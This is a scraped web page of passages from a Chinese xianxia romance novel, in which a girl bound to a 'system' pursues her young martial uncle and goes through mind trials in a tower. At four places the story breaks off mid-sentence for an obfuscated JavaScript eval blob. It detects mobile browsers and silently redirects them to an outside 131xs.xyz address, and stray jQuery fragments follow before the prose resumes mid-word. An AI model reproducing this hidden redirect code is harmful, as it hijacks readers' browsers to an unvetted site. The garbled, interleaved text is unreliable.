“你还不如,”她蕴着泪意的眼睛沉溺如深海,海水温柔地涨落,将他淹没,流露出些许绝不可能出现在步胭身上的软弱,她低低地说,“杀了我吧,不要把我一个人留下。” 陆云珩顿住。 但他最后,还是完成了仪式。 “抱歉。” 女子纤长的睫毛轻微地抖动了一下。 陆云珩抱着人,满身血迹,像是自地狱里归来的修罗。 他平静地将人交给了清玄,“替我交给步前辈。” “你疯了,”清玄蹙着眉,在听到他接下来要做什么后,深吸一口气,不能接受,“你要替步胭担下这一切的话,你会死的。” 有太多的天骄陨落了。 那些人,是世族大宗精心培养出来的接班人,他们是未来正道的顶梁柱,每一个,都需要耗费巨额的资源培养,这样大的损失,需要一个发泄口,即便陆云珩是上清宗的道子都顶不住。 他们绝对会联合起来,要求陆云珩付出代价的。 “清玄,”陆云珩浅浅笑了,他的语气很平静,甚至称得上温和,“我的道心碎了。” 清玄怔住。 “自许多年前,拒绝步胭之后,”日光落在青年的身体上,勾勒出俊秀的轮廓,他的发尾边缘渐变成浅淡的金,眉眼温软,笑意也淡,“那一幕,就成了我的心魔。” 忘不掉的。 他记得步胭流泪的模样,那样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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殷稚鱼呆住,这才意识到步胭的坏心眼。 她现在,身体有点燥热。 血液仿佛在沸腾燃烧,连带着她的四肢百骸都难受起来,殷稚鱼怀着些许微弱的希冀,问系统,“我现在脑子好像不太清醒,你能给我浇点冷水吗?” 系统乐得看殷稚鱼吃瘪,“不能哦。” 殷稚鱼:“……废物。” 系统:“……” 互相伤害后,殷稚鱼嫌弃地放弃了没用的系统,有些难受地扯了扯衣领,刚认真思考了一番有没有什么术法可以制冰,忽然听到一道轻而淡的嗓音响起。 “殷师侄,”辰瑄睁开眼,浅琥珀色的眸子茫然地看向殷稚鱼,“你没事吧?” 29. 追求 海沧珠,是名副其实的鲛人族至宝。 鲛人族擅长幻化易容之术,而海沧珠只有纯血鲛人才能孕育而出,且修为越高的鲛人,孕育出的海沧珠效果越好,典籍里还有入圣境界的大能被人以海沧珠欺骗的记载。 但鲛人族生性放荡,十分忠于天性,因此海沧珠在融入身体之后也会带有鲛人族的部分特性,步胭得到这颗海沧珠也只是偶然,她不需要海沧珠,但是殷稚鱼需要,至于副作用,步胭想了下幻境里殷稚鱼和辰瑄的表现,发了次善心,决定乐于助人一次。 步姑娘心血来潮的善心并没有得到殷稚鱼的谅解,如果要问她现在的感受,那就是迷惘。 这颗海沧珠的主人远不止辟府期,因此那一点点后遗症,落到她身上就成了难以抑制的情潮。 她仓促地低下头。 少女蓬松的长发落下来,熏着淡而甜的香气,她浅黑的眸子圆而无辜,勾着柔软的弯弧,漂亮得像是只会被主人珍藏,绝不可能展示的宝石。 辰瑄手肘抵住地面,勉强撑起半边身体,如同春水微澜的眸子满是愕然,他的睫毛卷翘而又浓密,此刻讶然呆滞地抬起,洁净的袍角滚上灰尘。 “殷师……” 他只来得及吐出两个字,剩下的话语就被迫吞了下去。 女孩细嫩白软的脸热情地贴上来,像是暑日贪凉地汲取冰块的凉气一样,野樱桃般的唇胡乱蹭过,小小地啾了口,心满意足地弯起眸,被辰瑄忍无可忍地推开后,又不依不饶地黏上来,黏人得像是一块甜甜蜜蜜的糖糕。 她跨坐在他腿上,恍若美人蕉般的裙裾迤逦铺开半扇,膝盖狠狠地夹住少年劲瘦纤细的腰身,这是一个十分别扭又古怪的姿势,辰瑄手背绷出隐约的青筋,闭了闭眼,雪白耳根浮现出淡淡的红。 清玄道人还在现场,即便他因为溯天镜的缘故还没有清醒,但是辰瑄也没办法忽视他的存在,他是殷稚鱼的师尊,他的师兄,因此殷稚鱼贴贴的时候,辰瑄莫名有一种在至亲面前偷情的感觉。 “……” 他嫣红漂亮的唇半张,一句话都没说,屡次被抗拒的殷稚鱼已经烦躁了起来,海沧珠的副作用攫取了她的理智,使得少女的本能占据上风,她不太满意地勾下腰,咬了一口少年的下颔,留下一道浅浅的牙印。 系统:“……” 真是不敢想象殷稚鱼清醒之后该有多崩溃。 出于对于宿主仅存的怜悯,系统决定……不看了。 “殷稚鱼!”辰瑄性格一向温和,现在也被殷稚鱼不得章法的亲近弄得有些生气。 他手背撑住地面,长长地叹出一口气,精致的眉微蹙。 少女低低地啊了一声,圆瞳尽是无辜茫然情绪,她好像根本不知道发生了什么一样,呆在了原地,被辰瑄突如其来的情绪吓到。 辰瑄微怔,正在反省是不是自己太凶了的时候,女孩磨了磨牙,恶狠狠地弯腰。 她扯开他的衣领,辰瑄被猝不及防的一闹,根本没有反应过来,衣领松散,露出一截白皙细窄的锁骨,轮廓优美性感,半遮半露,透出些许淋漓旖丽的香艳来。 她报复性地咬了上去,微尖的虎牙甚至还很恶劣地磨了磨。 辰瑄缓缓石化。 他盯着自己身前的一团,纤软的唇抿得越来越紧,有种面临竖起全身刺的刺猬,不知道该从哪里下手的无措感。 锁骨那一片肌肤传来淡淡的湿濡,女孩得寸进尺,齿尖的力道加重。 很异样。 从来没有体验过的,陌生的情绪。 辰瑄隐隐有些崩溃。 好在海沧珠的副作用时效并不长,体内的情潮散去,殷稚鱼意识缓缓恢复,她立刻意识到了不对劲。 自己好像正趴在谁的身前,姿势格外恶霸豪放。 殷稚鱼:? 她茫然抬头,距离太近,一下子就被辰瑄鲜少展露的艳色煞到了。 她印象里的辰瑄,一向是如同春雪溪涧般清澈干净的少年,容貌绝美,却并非是艳俗勾人的美貌,而是如同水晶琉璃般澈净剔透的美丽。 而现在,少年白袍被扯得七零八落,锁骨上印着一个淡淡的牙印,下颔上也有,脸红得不像话,仿若一下子从神坛堕入尘世,周身的疏离淡冷感不动声色地消融了许多。 这是她干的? 这是她干的! 殷稚鱼连滚带爬,眨眼间就从辰瑄身上滚下来,她绝望地捂住眼,嗓音很低,小心翼翼地问,“小师叔?” 辰瑄知晓殷稚鱼是清醒了,却又不知道该怎么回答,咳了声,音色低哑悦耳,“嗯。” 气氛陷入诡异的沉默之中。 殷稚鱼斟酌着言辞,她现在应该说什么,说她不是故意的,一切都是误会,不行,太渣了,要是被辰瑄误会的话她一辈子都追不上人。 “系统,”她平静且麻木地问,“你怎么不叫醒我?” 系统:“这是海沧珠的副作用,我无法消除,只能等宿主自行清醒。” 殷稚鱼:“……” 她指缝慢吞吞挪开些许,露出一双心虚的眼睛,眼珠乌溜溜地转,又猛然移回去。 辰瑄已经站了起来,刚想用清洁咒将身上的尘土弄掉,就听到不远处几乎丧气地缩成一团的姑娘弱弱地喊他。 “小师叔。” 她放下手,抱着膝盖,有些狼狈,却依旧遮掩不住身上的鲜活,眉眼弯弯,带笑狡黠。 “我可以追你吗?” 女孩仰起脸,打出一个直球。 辰瑄顿住。 修长高挑的少年仙君站在原地,墨发白袍,恍若谪仙,漆眸却睁大,充斥着惊愕情绪。 “宿主,”系统也被殷稚鱼这一发出人意料的表白震惊到了,“你就摊牌了?” “对啊,”殷稚鱼理直气壮,“反正今天之后,男主就该防备我了,那我不如直接一点。” 辰瑄还没有回答,就听见一声长长的呻.吟响起,被步胭坑进溯天镜的清玄道人恰巧在这个时候醒来,他站起身,看清楚院子里的情况后,松了口气,“稚鱼和小师弟,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15469069|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们没事就好。” 殷稚鱼若无其事地站起身,姜雲送她的胭脂罗裙有自动清洁的功效,她拍了拍发间的灰,“师尊,你感觉如何?” 清玄黑着一张脸,感觉被打了一拳,腰酸背痛的,但这话不能在徒弟面前说,他死撑出一副光风霁月的模样,不动声色地掐了个诀,衣服很快干净了,“无事。” 他的视线落在辰瑄身上,关切地问,“小师弟,你的脸?” 辰瑄:“……刚才撞到石头了。” 他总不能说这是被殷稚鱼咬出来的。 清玄直觉不对,但身为大龄单身狗,没有任何经验的他也说不出哪里不对,只能狐疑地看了眼辰瑄,少年垂下眼,依旧安安静静的,澄若霁雪,可是下巴处浅浅的牙印却格外违和。 殷稚鱼状似不经意地转移话题,“对了,师尊,步胭前辈让我带话给你。” 清玄道人顿时将那点疑处抛之脑后,心情有些沉重,“她说什么了?” 殷稚鱼回忆着步胭托她转告的留言,如实说,“她说,前尘往事,一笔勾销,她不会再去寻你。” 清玄道人微微叹了口气,他一直瞒着当年的真相,就连上清宗也心照不宣地跟着隐瞒,对外只说陆云珩因为修行走火入魔而陨落,就是为了完成陆云珩的托付。 可是步胭过于执拗,费尽心思也要求一个真相。 “走吧,”他不愿多提,“时辰不早了,你们此次任务也辛苦了,早点回宗休养。” 殷稚鱼乖乖点头,她修为太低,为了尽早赶回去,清玄是把殷稚鱼拎上了自己的剑,带着人御剑赶回乾虚派。 殷稚鱼身心俱疲,在溯天镜的经历对她而言并非虚假,而是一场全身心沉浸的角色扮演,回到自己居住的小院后,她什么也顾不上,蒙头大睡。 长长的一觉,殷稚鱼什么梦都没做,直接睡到天亮,才彻底恢复精力。 她想到夏芃,懒洋洋地折出一只传音灵鹤,给她报平安。 她不知道夏芃住哪里,但是传音灵鹤会循着夏芃的气息寻过去,十分方便。 报过平安之后,女孩窝在床上,开始严肃思考正事。 她都对辰瑄明牌了,是不是要行动起来。 说干就干,女孩风风火火地起身,一头扎进了厨房里。 姜雲循着动静找来,欲言又止,她谨慎地抱着手臂守在门口,准备如果有不对劲就随时撤退,“小师妹,怎么忽然就想下厨了?” 她就差没明说你就不是下厨这块料,怎么突然心血来潮跑来霍霍厨房了。 少女抬起脸,“这次小师叔帮了我,所以我想表达一下自己的感谢之情。” 姜雲:“……”殷稚鱼和辰瑄有仇吗?怎么殷稚鱼非得执着于下厨。 “而且,”殷稚鱼无辜地说,“我要追人,总要有点诚意。” 姜雲:??? 怎么进展一下子这么快,她之前隐隐约约猜出殷稚鱼和辰瑄之间可能有点异常,但没想到殷稚鱼的执行力这么强,这么快就进展到了追人的阶段。 30. 行动 好消息:厨房这次完好无损。 坏消息:殷稚鱼成功了,并且端出一盘点心,热情邀请姜雲品尝。 姜雲:“……” 一时间不知道该不该为小师妹的成功而高兴,心情复杂。 “哎?”殷稚鱼看姜雲久久没动,有些疑惑地提起眉头,“小师姐不喜欢点心吗?” “也不是……”姜雲斟酌着言辞,面前这盘点心看上去卖相还挺精致,方方正正的一小块,上面撒着雪白的糖霜,看上去又香又甜,但是一想到殷稚鱼有曾经炸厨房的丰功伟绩,她就不是很敢下嘴。 但是看着眼前的殷稚鱼一脸期待,姜雲踟蹰了下,秉着这点心总不能对不起它的长相的想法,拈起一块,小心地咬了口。 事实证明,恰当的谨慎完全是必要的。 姜雲脸色一变,忙去找水漱口,“小师妹,你到底放了多少糖?” 她将手上的点心毁尸灭迹,喉咙里甜腻的感觉依然难以消除,让姜雲忍不住咳嗽,泡了杯浓酽的茶水,她一向不喜欢茶,觉得太苦,而现在,只有茶才能压下那种甜到发苦的感觉。 殷稚鱼怀疑人生中,“……有那么难吃吗?” 姜雲缓过来,没好气地说,“你自己试试就知道了。” 殷稚鱼盯着点心看了一会,果断放弃,“算了,看小师姐的样子我就知道这点心难吃极了。” “……” 殷稚鱼下厨是完全的随心所欲派,材料按照自己的心意加,她嗜甜,因此在加糖的时候多放了一丢丢,造成的伤害却是天劫级别的。 受害者有且仅有姜雲一个人。 在小师姐苦口婆心的劝阻之下,殷稚鱼遗憾地放弃了下厨这个比起追人更像是结仇的举动,恹恹地去乾虚派山下的城池里打包了一份点心,准备去找人。 这次曲城的任务顺利完成,殷稚鱼得到了一笔不算少的灵石,足够她挥霍一段时间,因此殷稚鱼很大手笔,在城池里最大的酒楼里打包了一份最贵的。 她信心满满,然后去找人时才发现一个问题。 那就是,她根本不知道降娄峰在哪里。 乾虚派作为九州五岛的三宗之一,气象泱泱,所有的峰头在殷稚鱼看上去都长得相差无几,飞湍瀑流,浓绿成荫,看上去绿化率就非常高,辨识度为零。 殷稚鱼转了一圈,成功把自己转晕了。 她叹了口气,秋水剑停下,少女找了个地方站着,指尖灵巧地折出纤细的灵鹤,目送它飞出去。 很快,传音灵鹤带回姜雲的嘲笑,她先是对殷稚鱼在乾虚派都找不到路的行为发表了一通自己的看法,成功找回了先前被坑点心的场子,最后才慢悠悠地补充了一句,辰瑄此刻似乎不在降娄峰,有个长老寻他代课。 辰瑄性格温和,几乎有求必应,所以长老们有什么事情经常会拜托他,小师叔太优秀了,什么事交给他都能处理得妥妥贴贴。 姜雲还很贴心地附赠了一份从玄枵峰抵达外门的地图。 殷稚鱼将地图记在脑海里,指尖抚过灵鹤的翅膀,它悄无声息地化作一团灵光消失,殷稚鱼再次动身,辨认了一下方向,抵达姜雲说的地点时,已经将近正午了。 不是之前姜雲和殷稚鱼看傅凛教外门弟子上课的地方,而是在一处练武场,外门弟子都穿着一模一样的青色宗门服,对着练武场的木桩练习剑法。 “小师叔。”秋水剑逐渐驶低,殷稚鱼轻巧地从剑上跳下来,准确地找到辰瑄的所在,扬起一个明媚的笑。 辰瑄略有些头疼,一看到殷稚鱼就想到女孩昨天的表白,他抿起唇,态度疏离清冷,“殷师侄。” 殷稚鱼手腕往上提,露出她带来的红木食盒,“这是送给小师叔的。” 见辰瑄蹙眉,似乎想要出口拒绝,殷稚鱼眯了眯眼睛,灿烂道,“小师叔如果拒绝的话我今天就一直缠着你,你也不想打扰到其他弟子的练习吧。” 辰瑄动作一顿。 他换了身适合练剑的衣裳,窄袖露出一段修长瘦削的手腕,腕骨雪□□致,漂亮得不像话,注意到有弟子在偷偷摸摸地看向这边,少年还是妥协了,接过食盒,“谢谢。” 殷稚鱼弯唇笑,露出一点尖尖的虎牙。 她拖长了声音,“小师叔一个人恐怕忙不过来吧,我帮你好不好?” 不等他拒绝殷稚鱼就堵死了他的路,“就当报答小师叔不远万里来步前辈那里救我。” 她的说法合情合理,辰瑄也不是那种因私废公的人,本来要来帮忙的还有个内门弟子,只是那人临时有事不能来,一时半会也寻不到人帮忙,辰瑄只能独自来了。 他一个人,没办法顾及到外门几百号弟子,效率低下,有殷稚鱼帮忙当然更好。 外门弟子学的是比入门剑法更深一筹的剑法,殷稚鱼早已学过,清玄道人赞叹过她的剑道天赋,说是世间九成九的剑修都不如她。 教个弟子而已,简简单单。 但让辰瑄犯难的是,殷稚鱼挑破了他们之间的那层窗户纸,导致他现在和殷稚鱼相处很不自在,他并不擅长应对心悦自己的女子,偏偏殷稚鱼又穷追不舍,僵持之间,辰瑄宁可回去面对一本晦涩高深的功法秘籍。 起码功法秘籍也不会这么难搞。 辰瑄垂下眸思考,殷稚鱼捧着脸,眉眼盈盈,“小师叔是不信我吗?” 她的目光有些狡黠,义正言辞道,“我会好好教人的,倒是小师叔,不要因为不喜欢我就耽误这些同门。” 好话坏话都被她说完了,辰瑄也只能默认。 殷稚鱼欢欢喜喜地去教人了,系统在她脑海里感慨,“宿主,你这不是很会追人吗?” 殷稚鱼:“不,我还是不太会,但我知道,我要追人,起码要先看到人。” 面对辰瑄这种温吞性子,如果殷稚鱼不主动的话,他是绝对不会靠近她的,而是会划开一条界线,回归到之前的冷淡去,可能还要比初见时更加冷漠一点。 殷稚鱼只能自己去找他了。 没有条件就自己创造条件,殷稚鱼反省了一下自己,暗忖自己这算不算欺负老实人。 好像……算的。 她似乎有点禽兽。 殷稚鱼沉痛捂脸。 她暂时没去打扰辰瑄,偌大的练武场上弟子众多,少女将心思全都放在正事上,倒是辰瑄略有些不习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15503818|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惯,侧脸瞥了一眼,发现殷稚鱼确实如她所说,表现得格外认真后就暂时不管了。 课程时间结束,少年宣布结束之后,殷稚鱼立刻窜了过来,去牵辰瑄的衣角,“小师叔,到饭点了,我们一起去饭堂吧。” “殷师侄……”辰瑄盯着握着那截衣角的手指看了一会,他肃冷下眉眼,神色有点冰冷,“放手。” 殷稚鱼弯起眸,明知故问,“为什么啊?” 他深吸一口气,唇线拉直,“我现在并没有寻找道侣的心思,而且就算是找,我也不可能对师侄下手。” 红衣似火的少女侧过身来,一点都没有被他的言辞吓退,只浅浅笑了下,“小师叔要和我在练武场说这些吗?” 练武场的同门一个个走得比乌龟还慢,磨磨蹭蹭慢慢吞吞,满眼都是吃到瓜的兴奋,恨不得辰瑄和殷稚鱼音量再大一点,让他们完完整整地吃完这个瓜。 辰瑄怔了下,一言不发地往外走。 殷稚鱼紧随其后。 他们在后山寻了处没人的地方说话,殷稚鱼偏头打量了一眼,不远处种着一片桃林,云霞般的桃花恍若织锦般明艳璀璨,蜿蜒溪涧横过,偶尔有细碎的花瓣飘落,营造出如梦如幻的氛围。 “小师叔,你找到这个地方,”殷稚鱼眨了眨眼,“是打算答应我吗?” 她啧了声,“这个地方,一看就很适合表白心意啊。” “胡说,”辰瑄现在才反应过来,少年情绪难得有几分起伏,他薄透的耳尖染上些许红玉般的色泽,板着一张脸,“殷师侄,我对你无意,我希望你能保持住我们之间的师侄距离。” “是吗?”殷稚鱼歪头,轻声道,“可我不相信。” 她走近,朱红的罗裙本来是十分张扬嚣张的颜色,却显得她十足的乖巧软糯,像是裹着绸缎的人偶一般精致美丽。 她走近,辰瑄便退。 少年神色清冷,望着她的眸光无波无澜。 直到他退到一棵桃树前,脊背抵住桃树,刚想要转身,却被殷稚鱼抓到机会,她踮脚,毫不犹豫地抓住机会。 不是之前落在下颔和锁骨,比起吻,更像是啮咬的亲昵,她踮脚,辰瑄还是少年模样,身高比她高了半个头,因此她踮脚还是能轻松够到,她直勾勾地盯着他,毫不犹豫地亲了上去。 唇碰唇的吻,她清晰地感觉到了牙齿相碰的触感,只是一瞬,辰瑄只被她抓住了一瞬的空隙,震惊之后反应过来就一把推开人,脸色难看。 指尖抵住唇,殷稚鱼微咬着唇瓣,闷闷地笑,“小师叔,我能接近你一次。” “就能接近你第二次。” 她笑吟吟地说,“你没有排斥我,说到底还是有几分喜欢,那我就不会放弃。” 赶在辰瑄发火之前,她及时溜了,一下子人影就消失了,“我下次再来找你啊。” 辰瑄放在千秋上的指节紧了紧,精致的指骨用力到泛白。 他安静低眸,唇上的触感仍然留存,柔软到不可思议,像是棉花,又像是软糖,轻飘飘的触碰,欲要缠上他。 片刻后,少年冷着脸,狠狠地擦了擦唇,又用掐了好几个清洁咒,这才转身离开。 31. 剑意 殷稚鱼深谙过犹不及的道理,翌日没再去找辰瑄,而是去找了清玄道人,借用问心塔。 清玄道人握着一只茶杯,听完殷稚鱼的来意后没说答不答应,而是勾了勾唇,饶有兴致地问,“听说稚鱼你最近一直缠着辰瑄不放。” 他倾了倾身,咳嗽了下,“你和师弟最近是什么情况?” 殷稚鱼思索了下,辰瑄现在名义上是她的小师叔,但她迫于系统的淫威,必须想方设法地攻略辰瑄,把师叔变成道侣,此等败坏伦理之事,系统真是太过分了。 看见她脑海想法的系统:“……”好他喵不要脸的宿主。 “我和小师叔,”殷稚鱼微微沉吟了下,觉得一时半会也理不清这团毛线球,干脆将其含糊过去,“算了,说了师尊听了也不懂。” 清玄道人:“……” 青年哑然失笑,“宗门内并不禁止这种事,只是稚鱼,”他含蓄暗示殷稚鱼,“师弟性格比较内敛,别逼得太过分了。” 女孩弯着眼,郑重点头,“我明白了。” 辰瑄和殷稚鱼年岁相差不大,然而两人认真算起来却是隔着辈的,在人间来说是了不得的大事,毕竟侄女嫁叔叔这种事自古少有,非要在史书上记一笔不可,但是九州五岛并不讲究这种事。 说到底,修道者年岁永驻容貌不变,弟子恋慕师尊,侄子爱上姑姑这种事常有发生,人族不似神族迂腐,条条例例都分明,自从某个宗门培养的弟子因为爱慕师尊不得走火入魔导致多年培养付诸东流之后,大能们现在都看得很开。 不看得开也不行,一个是说不好弟子和师尊一起折了,数百年的投资全赔了,相比起来两人谈恋爱结为道侣的赔本可能性小多了,就是解契不太好搞,偶尔也会闹出修罗场的乐子,养活了一批九州五岛的话本写手。 清玄道人抬手,手掌上不断旋转的塔脱手而出,在大殿后放大,回归正常大小,“行吧,你进去吧。” 殷稚鱼道谢之后,迈步进入问心塔。 她之所以想要借用问心塔,是因为殷稚鱼感觉到自己的剑意隐隐将要凝成,曲城走了一遭,溯天镜摸滚打爬历练了一回,给她带来了不少好处,但是距离凝聚剑意还差一点,需要借助一点外力。 旁人可能会选择安安稳稳的来,但是殷稚鱼不会,她现在最缺的就是时间,辟府之后修道者寿岁随之延至百年,但她不行,只能选择赌上一把。 四周安静了下来,只剩下她一个人行走的脚步声,哒哒,无声无息地在塔内响起,带起些许回响。 殷稚鱼停下脚步,四处张望。 问心塔闯过的关卡不需要再闯,那些关卡已经没办法磨砺她了。 黑暗如同潮水般褪去,出现的是一间清雅的包间,二十四面山水屏风隐隐绰绰地投映出修长挺拔的人影,对方坐在桌前,拎起茶壶,慢条斯理地倒茶。 殷稚鱼绕过屏风,在他对面坐下,少女支着手腕,笑意盈盈,“不知道小师叔还会这一套?” 辰瑄头也不抬,语声淡淡,“你不知道的多了去了。” 他音色轻缓温和,乌黑长发与雪白衣衫交映成趣,更衬出一种月照梨花,清若初雪的皎白干净,而碧绿茶汤晃晃悠悠,注入骨瓷茶杯中,动作优雅矜持。 少年笑了下,没什么情绪的,指尖抵着茶杯,不紧不慢地将那杯茶推到殷稚鱼面前,他抬起头,温软地问,“所以,稚鱼是想好该如何玩弄我了吗?” 他咬着玩弄两个字的时候,有些生涩,微不可查的顿了顿,乾虚派的小师叔,寄予厚望的仙宗弟子,澄澈清丽的人物,按理来说应该一辈子高坐云端,不染纤尘,也不该和玩弄这些带着狎昵意味的词语靠拢。 殷稚鱼清了清嗓子,险些被美人计惑到了。 见鬼,她对真人都没有这样过,她面对真正的辰瑄还敢莽上去呢,现在眼前的只是一道虚影,她反而束手束脚起来。 女孩唇一掀,“抱歉啊,小师叔,我这个人没什么良心。” 她的语气诚恳万分,“所以比起伤害你,我觉得还是自己更重要。” 辰瑄似乎对她的答案并不意外,轻轻地笑了笑。 殷稚鱼凝视着辰瑄。 面前这道素白的人影是由她的心障幻化出的虚影,所以他其实比真实的辰瑄更了解自己。 “所以,”他不动了,嗓音低低地问,又扬起半边侧脸,字语温柔地咀嚼更显讥讽,“欺骗我,玩弄我,然后抛弃我,都是你的本意吗?” 来了来了,这个问题它来了。 “是啊,”女孩一动不动,她想开了,反正辰瑄命中注定有此一劫,遇上她算他倒了大霉,她说,“师叔,你为什么不肯相信,我说的喜欢有几分真心呢?” 辰瑄对此只是挑起唇角,弧度冰冷,并不相信。 少年忽然抬手,云水般的广袖叠落,露出修长精致的腕骨,指尖落在衣领上,漫不经心地解开,漂亮的锁骨半隐半露。 殷稚鱼咽了咽口水,捂住脸,声音有些闷闷的,“师叔,你这是在干什么?” 辰瑄慢吞吞地说,嗓音显出几分蛊惑来,“你不是很喜欢吗?” 殷稚鱼顿住。 片刻后,少女松手,语声带笑,明朗道,“抱歉啊,师叔,不像了。” 面前幻境如同流沙般崩塌。 殷稚鱼微微叹了口气,“太过分了。” 拿这个考验她,只能看但不能做点别的也太过分了。 系统:“……宿主,求求你做个人吧。” 殷稚鱼笑嘻嘻,扬起眉,秀气温雅的小山黛眉,眉梢细细长长,说话相当无赖,“我什么时候不当人了。” “不过,”她咂咂嘴,有些遗憾,“问心塔的辰瑄也太OOC了吧,男主哪里会那样说话。” 导致她自我欺骗都做不到。 殷稚鱼叹气更大声了。 她又过了一关问心塔,有些好奇接下来会是什么关卡。 周遭又转换了场景,殷稚鱼好奇张望,发现场景竟然有点眼熟,好像是在溯天镜,她将自己当成步胭的那个青楼里。 她眼睫微闪,并不想回忆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524949|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 溯天镜的记忆都是黑历史,问心塔又给她放出来! 殷稚鱼生无可恋。 绮丽的红纱铺在她腿上,流丽瑰艳得像是朱砂,衬得美貌的少女像是红沙中的雪白珍珠,皮肉白皙柔嫩,碰撞出矛盾的艳色来,而被她压在身上的少年低低喘着,呼吸急促,长指握住她的手腕,忍不住微微用力,又松开,他沙哑道,“接下来该怎么办?” 殷稚鱼:? 她是有点遗憾见不到主动引诱她的辰瑄,但不代表她想见。 问心塔到底想干什么? 还给她杜撰了一段莫须有的剧情。 她咬咬牙,心想说不定问心塔就是想要考验她的定力,她绝不能上当。 殷稚鱼一脸认真,“小师叔,你等等,我现在去找人抬冷水。” 辰瑄:? 幻想显然也有些懵,卡了一瞬,问心塔有些沉默,但还是尽职尽责地磨砺她,辰瑄咬了咬唇,额头被蒸出了些许汗水,与她相握的指尖没忍住依恋黏糊地蹭了蹭,他轻喘了一口气,“…不要冷水。” 殷稚鱼:……问心塔真当她是清心寡欲的好和尚吗? 过分,太过分了。 女孩愤而起身,一张符箓下去,不太安分的虚影立刻就晕了,她松了口气,问心塔还挺一视同仁,不光是辰瑄,就连她也同样出现了类似于中了药的反应,身体热的要命,不过被海沧珠折腾了一番,殷稚鱼也算有了经验,传音下去,叫侍女抬了冷水放在门口,然后将桶扛进来,用最原始的方法解药效。 她盘腿泡在浴桶里,托腮有点无奈,明明都是修真界了,但殷稚鱼却依然要泡冷水,略悲惨。 这个关卡虽然她没干什么,但是感觉比前四层都要难过一点。 殷稚鱼现在只是个凡人,还要考虑自己泡冷水多了会不会感冒的大问题。 好在这里只是幻境。 她鼓了鼓腮帮子,又哗啦一声,沉入桶底之中。 第五层,过了。 青楼,美人,还有体内冰火两重天的感觉尽数消失,湿漉漉贴着肌肤的纱裙也消失不见,殷稚鱼的衣服重新恢复干爽,她抿唇,等待问心塔新的一层考验出现。 沙沙—— 淅沥的雨声擦过她的耳畔,殷稚鱼抬头,天际浓云翻滚,墨色洇染深浅不一,像是无数座水墨描绘而就的山峰,沉闷地压下来,酝酿出风雨满楼的架势。 殷稚鱼眨了眨眼。 雨越来越大了。 而四周空无一人,安静得可怕。 她只能磨磨蹭蹭漫无目的地往前走,殷稚鱼没有学过挡雨的术法,这一点小雨也不会造成什么太大的影响,干脆任由雨淋下来,细小的水珠漫过她的睫毛,湿漓漓的稠丽,如同墨猫浸了水的毛发。 裙子也湿了,姜雲送的胭脂罗裙确实很好看,但是毕竟只有一套,殷稚鱼穿腻了,又从芥子袋中取出一套新裙子。 不知道走了多久,腿脚沉重无比的时候,殷稚鱼的视野里忽然闯入一道熟悉的身影。 她怔忪愣了下。 32. 浮尘 那人行于山林之间,宽大的叶片兜着清澈的水珠,湿漓漓又清脆的晃荡,淋下一连串连绵不绝的水声,光线黯淡交错,勾勒出削瘦而又单薄挺拔的背影,衣不沾尘,容姿胜雪。 虽然知道辰瑄出现在这里必有古怪,但是殷稚鱼走了半晌都没看见半只活物,就连脑海里的系统也在她三番五次的骚扰下没了声响,她步伐轻快地跑过去,音色明亮,“小师叔。” 那人侧了侧脸,半明半昧下唇角凉薄下勾,显出几分冰冷的晦涩来。 殷稚鱼恍然未知,裙裳吸饱了水,沉甸甸的,她拧了一把水,喋喋不休地抱怨,“小师叔,你怎么会……” 没有说完的下半句话卡在喉咙里。 殷稚鱼呆呆地瞪大圆眸,恍若纤细墨笔勾勒出的滚圆眸子像是刚出生的毛绒绒小兽,清澈又呆,有些乖巧的模样,柔软得毫无攻击性。 她缓慢低下头,脖子好似生了锈的齿轮,几乎卡出咔哒的钝响。 ——修长的剑身准确无误地贯穿了她的心口,像是轻松钉住了一只路过的雏鸟一样,锁住她的生机。 很痛。 剑是名满天下的神剑千秋,而剑的主人则是以少年英才,风华无双出名的年轻一代修道者辰瑄。 毫无反抗的余地。 殷稚鱼挣扎了一下,虚虚握住秋水的掌心轻微颤抖着,望进一双毫无情绪波动的浅琥珀色眸子里。 神色很淡,俯视着她的时候,像是在看陌生人一般。 他沉默地拔出千秋,光洁无暇的剑身上朱砂般的血迹被轻巧抖落,少年洁白的衣裳没有沾上丝毫污渍,依然干干净净的。 